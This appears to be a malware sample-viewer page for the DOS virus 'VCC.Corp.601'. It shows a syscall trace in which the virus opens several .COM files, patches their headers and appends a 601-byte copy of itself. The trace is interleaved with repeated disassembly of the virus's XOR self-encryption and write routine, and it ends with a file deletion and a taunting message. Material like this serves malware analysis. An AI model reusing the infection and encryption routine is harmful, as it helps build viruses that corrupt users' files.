Sample viewer

vx.netlux.org/Virus.DOS.VCC.Corp.601

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:10:08.402998374Z 26 PC: 12a72 | Set disk transfer address
2018-12-17T23:10:08.406407466Z 37 PC: 12a80 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T23:10:08.40738342Z 37 PC: 12a84 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T23:10:08.408433536Z 78 PC: 12acf | Find first file
2018-12-17T23:10:08.414619959Z 61 PC: 12c2d | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:10:08.421301478Z 63 PC: 12c3c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:10:08.42766946Z 66 PC: 12c4b | Move file pointer
2018-12-17T23:10:08.429723648Z 66 PC: 12c5a | Move file pointer
2018-12-17T23:10:08.431660737Z 64 PC: 12c66 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:10:08.434589175Z 66 PC: 12c72 | Move file pointer
2018-12-17T23:10:08.436321004Z 44 PC: 12c76 | Get time 0x12c76: mov byte ptr [bp + 0x259], dl
0x12c7a: call 0x12c90
0x12c7d: mov ah, 0x40
0x12c7f: mov cx, 0x259
0x12c82: lea dx, word ptr [bp + 6]
0x12c86: int 0x21
0x12c88: call 0x12c90
0x12c8b: mov ah, 0x3e
0x12c8d: int 0x21
0x12c8f: ret
0x12c90: lea si, word ptr [bp + 0x1f]
0x12c94: mov cx, 0x21b
0x12c97: xor byte ptr [si], 0
0x12c9a: inc si
0x12c9b: dec cx
0x12c9c: jne 0x12c97
0x12c9e: ret
0x12c9f: add word ptr [bx], di
0x12ca1: aas
0x12ca2: aas
2018-12-17T23:10:08.439907273Z 64 PC: 12c88 | Write file or device (Write 601 bytes on handle 5)
2018-12-17T23:10:08.454701244Z 62 PC: 12c8f | Close file
2018-12-17T23:10:08.463400237Z 79 PC: 12acf | Find next file
2018-12-17T23:10:08.466432105Z 61 PC: 12c2d | Open file (Filename = 'PRINT.COM')
2018-12-17T23:10:08.47292498Z 63 PC: 12c3c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:10:08.479470779Z 66 PC: 12c4b | Move file pointer
2018-12-17T23:10:08.48182045Z 66 PC: 12c5a | Move file pointer
2018-12-17T23:10:08.483172003Z 64 PC: 12c66 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:10:08.485758123Z 66 PC: 12c72 | Move file pointer
2018-12-17T23:10:08.488131332Z 44 PC: 12c76 | Get time 0x12c76: mov byte ptr [bp + 0x259], dl
0x12c7a: call 0x12c90
0x12c7d: mov ah, 0x40
0x12c7f: mov cx, 0x259
0x12c82: lea dx, word ptr [bp + 6]
0x12c86: int 0x21
0x12c88: call 0x12c90
0x12c8b: mov ah, 0x3e
0x12c8d: int 0x21
0x12c8f: ret
0x12c90: lea si, word ptr [bp + 0x1f]
0x12c94: mov cx, 0x21b
0x12c97: xor byte ptr [si], 0x3a
0x12c9a: inc si
0x12c9b: dec cx
0x12c9c: jne 0x12c97
0x12c9e: ret
0x12c9f: add word ptr [bx], di
0x12ca1: aas
0x12ca2: aas
2018-12-17T23:10:08.490851172Z 64 PC: 12c88 | Write file or device (Write 601 bytes on handle 5)
2018-12-17T23:10:08.505129878Z 62 PC: 12c8f | Close file
2018-12-17T23:10:08.513996726Z 79 PC: 12acf | Find next file
2018-12-17T23:10:08.516755256Z 61 PC: 12c2d | Open file (Filename = 'HELLO.COM')
2018-12-17T23:10:08.523944433Z 63 PC: 12c3c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:10:08.531326902Z 66 PC: 12c4b | Move file pointer
2018-12-17T23:10:08.535835075Z 66 PC: 12c5a | Move file pointer
2018-12-17T23:10:08.537667352Z 64 PC: 12c66 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:10:08.541774493Z 66 PC: 12c72 | Move file pointer
2018-12-17T23:10:08.543305285Z 44 PC: 12c76 | Get time 0x12c76: mov byte ptr [bp + 0x259], dl
0x12c7a: call 0x12c90
0x12c7d: mov ah, 0x40
0x12c7f: mov cx, 0x259
0x12c82: lea dx, word ptr [bp + 6]
0x12c86: int 0x21
0x12c88: call 0x12c90
0x12c8b: mov ah, 0x3e
0x12c8d: int 0x21
0x12c8f: ret
0x12c90: lea si, word ptr [bp + 0x1f]
0x12c94: mov cx, 0x21b
0x12c97: xor byte ptr [si], 0x40
0x12c9a: inc si
0x12c9b: dec cx
0x12c9c: jne 0x12c97
0x12c9e: ret
0x12c9f: add word ptr [bx], di
0x12ca1: aas
0x12ca2: aas
2018-12-17T23:10:08.545848915Z 64 PC: 12c88 | Write file or device (Write 601 bytes on handle 5)
2018-12-17T23:10:08.554197482Z 62 PC: 12c8f | Close file
2018-12-17T23:10:08.563194724Z 79 PC: 12acf | Find next file
2018-12-17T23:10:08.565914067Z 61 PC: 12c2d | Open file (Filename = 'PHANG.COM')
2018-12-17T23:10:08.572319835Z 63 PC: 12c3c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:10:08.579411855Z 66 PC: 12c4b | Move file pointer
2018-12-17T23:10:08.581068663Z 66 PC: 12c5a | Move file pointer
2018-12-17T23:10:08.582713015Z 64 PC: 12c66 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:10:08.586159022Z 66 PC: 12c72 | Move file pointer
2018-12-17T23:10:08.587790236Z 44 PC: 12c76 | Get time 0x12c76: mov byte ptr [bp + 0x259], dl
0x12c7a: call 0x12c90
0x12c7d: mov ah, 0x40
0x12c7f: mov cx, 0x259
0x12c82: lea dx, word ptr [bp + 6]
0x12c86: int 0x21
0x12c88: call 0x12c90
0x12c8b: mov ah, 0x3e
0x12c8d: int 0x21
0x12c8f: ret
0x12c90: lea si, word ptr [bp + 0x1f]
0x12c94: mov cx, 0x21b
0x12c97: xor byte ptr [si], 0x45
0x12c9a: inc si
0x12c9b: dec cx
0x12c9c: jne 0x12c97
0x12c9e: ret
0x12c9f: add word ptr [bx], di
0x12ca1: aas
0x12ca2: aas
2018-12-17T23:10:08.590328213Z 64 PC: 12c88 | Write file or device (Write 601 bytes on handle 5)
2018-12-17T23:10:08.599468377Z 62 PC: 12c8f | Close file
2018-12-17T23:10:08.607344346Z 79 PC: 12acf | Find next file
2018-12-17T23:10:08.609818048Z 61 PC: 12c2d | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:10:08.616425241Z 63 PC: 12c3c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:10:08.622465875Z 66 PC: 12c4b | Move file pointer
2018-12-17T23:10:08.623792503Z 66 PC: 12c5a | Move file pointer
2018-12-17T23:10:08.625989957Z 64 PC: 12c66 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:10:08.628396326Z 66 PC: 12c72 | Move file pointer
2018-12-17T23:10:08.629552869Z 44 PC: 12c76 | Get time 0x12c76: mov byte ptr [bp + 0x259], dl
0x12c7a: call 0x12c90
0x12c7d: mov ah, 0x40
0x12c7f: mov cx, 0x259
0x12c82: lea dx, word ptr [bp + 6]
0x12c86: int 0x21
0x12c88: call 0x12c90
0x12c8b: mov ah, 0x3e
0x12c8d: int 0x21
0x12c8f: ret
0x12c90: lea si, word ptr [bp + 0x1f]
0x12c94: mov cx, 0x21b
0x12c97: xor byte ptr [si], 0x45
0x12c9a: inc si
0x12c9b: dec cx
0x12c9c: jne 0x12c97
0x12c9e: ret
0x12c9f: add word ptr [bx], di
0x12ca1: aas
0x12ca2: aas
2018-12-17T23:10:08.632806568Z 64 PC: 12c88 | Write file or device (Write 601 bytes on handle 5)
2018-12-17T23:10:08.640821402Z 62 PC: 12c8f | Close file
2018-12-17T23:10:08.648987289Z 79 PC: 12acf | Find next file
2018-12-17T23:10:08.652465643Z 61 PC: 12c2d | Open file (Filename = 'MANDEL.COM')
2018-12-17T23:10:08.658931331Z 63 PC: 12c3c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:10:08.665538647Z 66 PC: 12c4b | Move file pointer
2018-12-17T23:10:08.667412496Z 66 PC: 12c5a | Move file pointer
2018-12-17T23:10:08.668701183Z 64 PC: 12c66 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:10:08.67119657Z 66 PC: 12c72 | Move file pointer
2018-12-17T23:10:08.672907718Z 44 PC: 12c76 | Get time 0x12c76: mov byte ptr [bp + 0x259], dl
0x12c7a: call 0x12c90
0x12c7d: mov ah, 0x40
0x12c7f: mov cx, 0x259
0x12c82: lea dx, word ptr [bp + 6]
0x12c86: int 0x21
0x12c88: call 0x12c90
0x12c8b: mov ah, 0x3e
0x12c8d: int 0x21
0x12c8f: ret
0x12c90: lea si, word ptr [bp + 0x1f]
0x12c94: mov cx, 0x21b
0x12c97: xor byte ptr [si], 0x4b
0x12c9a: inc si
0x12c9b: dec cx
0x12c9c: jne 0x12c97
0x12c9e: ret
0x12c9f: add word ptr [bx], di
0x12ca1: aas
0x12ca2: aas
2018-12-17T23:10:08.675212487Z 64 PC: 12c88 | Write file or device (Write 601 bytes on handle 5)
2018-12-17T23:10:08.68387409Z 62 PC: 12c8f | Close file
2018-12-17T23:10:08.692340816Z 79 PC: 12acf | Find next file
2018-12-17T23:10:08.694874555Z 61 PC: 12c2d | Open file (Filename = 'PAH.COM')
2018-12-17T23:10:08.701233527Z 63 PC: 12c3c | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:10:08.708620257Z 66 PC: 12c4b | Move file pointer
2018-12-17T23:10:08.710259066Z 66 PC: 12c5a | Move file pointer
2018-12-17T23:10:08.711809857Z 64 PC: 12c66 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:10:08.715101781Z 66 PC: 12c72 | Move file pointer
2018-12-17T23:10:08.71685848Z 44 PC: 12c76 | Get time 0x12c76: mov byte ptr [bp + 0x259], dl
0x12c7a: call 0x12c90
0x12c7d: mov ah, 0x40
0x12c7f: mov cx, 0x259
0x12c82: lea dx, word ptr [bp + 6]
0x12c86: int 0x21
0x12c88: call 0x12c90
0x12c8b: mov ah, 0x3e
0x12c8d: int 0x21
0x12c8f: ret
0x12c90: lea si, word ptr [bp + 0x1f]
0x12c94: mov cx, 0x21b
0x12c97: xor byte ptr [si], 0x50
0x12c9a: inc si
0x12c9b: dec cx
0x12c9c: jne 0x12c97
0x12c9e: ret
0x12c9f: add word ptr [bx], di
0x12ca1: aas
0x12ca2: aas
2018-12-17T23:10:08.719315507Z 64 PC: 12c88 | Write file or device (Write 601 bytes on handle 5)
2018-12-17T23:10:08.728894983Z 62 PC: 12c8f | Close file
2018-12-17T23:10:08.737740565Z 26 PC: 12ae9 | Set disk transfer address
2018-12-17T23:10:08.738995512Z 19 PC: 12afb | Delete file
2018-12-17T23:10:08.746207638Z 9 PC: 12b2d | Display string (String= 'Seize the Day! While I seize your files!!!! ')